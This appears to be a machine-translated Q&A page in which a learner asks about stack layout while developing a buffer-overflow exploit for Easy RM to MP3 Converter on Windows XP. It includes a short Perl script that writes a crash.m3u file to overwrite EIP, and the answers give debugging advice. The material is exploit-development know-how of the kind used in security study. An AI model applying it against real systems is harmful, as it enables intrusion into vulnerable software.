Shellcode开发,ESP指针

时间:2012-03-22 17:20:56

标签: buffer-overflow exploit shellcode

有时回来,在Windows XP SP3(http://www.exploit-db.com/exploits/9177/)上使用Easy RM到MP3 Converter 2.7.3.700的漏洞,我遇到了一个不理解的概念,它是这样的:

用于生成恶意文件的perl脚本:

my $junk = "\x41" x 25000;
my $offset = "\x42" x 1072;
my $eip = "\x43" x 4;
my $file = "crash.m3u";
open ($file,">$file");
print $file $junk.$offset.$eip.$adjustment;
close ($file);

生成恶意文件后,将其提供给转换器,然后在[esp + 18](相对于esp寻址)分析堆栈内容...为什么这些A在这里?

我的意思是:

A从[ESP-88E8]开始到[ESP-43C]
B从[ESP-438]开始到[ESP-C]
C代表[ESP-8]

那么为什么这些A再次出现在[ESP + 18]到[ESP + 418]?为什么这些A在[ESP + 18]到[ESP + 418]重复,当它们已经从[ESP-88E8]放到[ESP-43C]时。

谢谢。

2 个答案:

答案 0 :(得分:2)

那些用于填充缓冲区的垃圾,其余的1700+字节是使用metasploit生成的,以便在EIP被覆盖时获取地址。因此,您需要确定导致缓冲区溢出所需的字节数,因为它们将操作系统与操作系统等区别开来。

可选:那么,那样做,你就可以设置断点,并获得EIP地址

答案 1 :(得分:0)

因此,要回答您的问题,您必须在Easy RM to MP3 Converter上进行更多调试,尝试设置一些早期的断点。我怀疑溢出不会立即发生,并且可能在它写入静态缓冲区之前复制了几次。 :)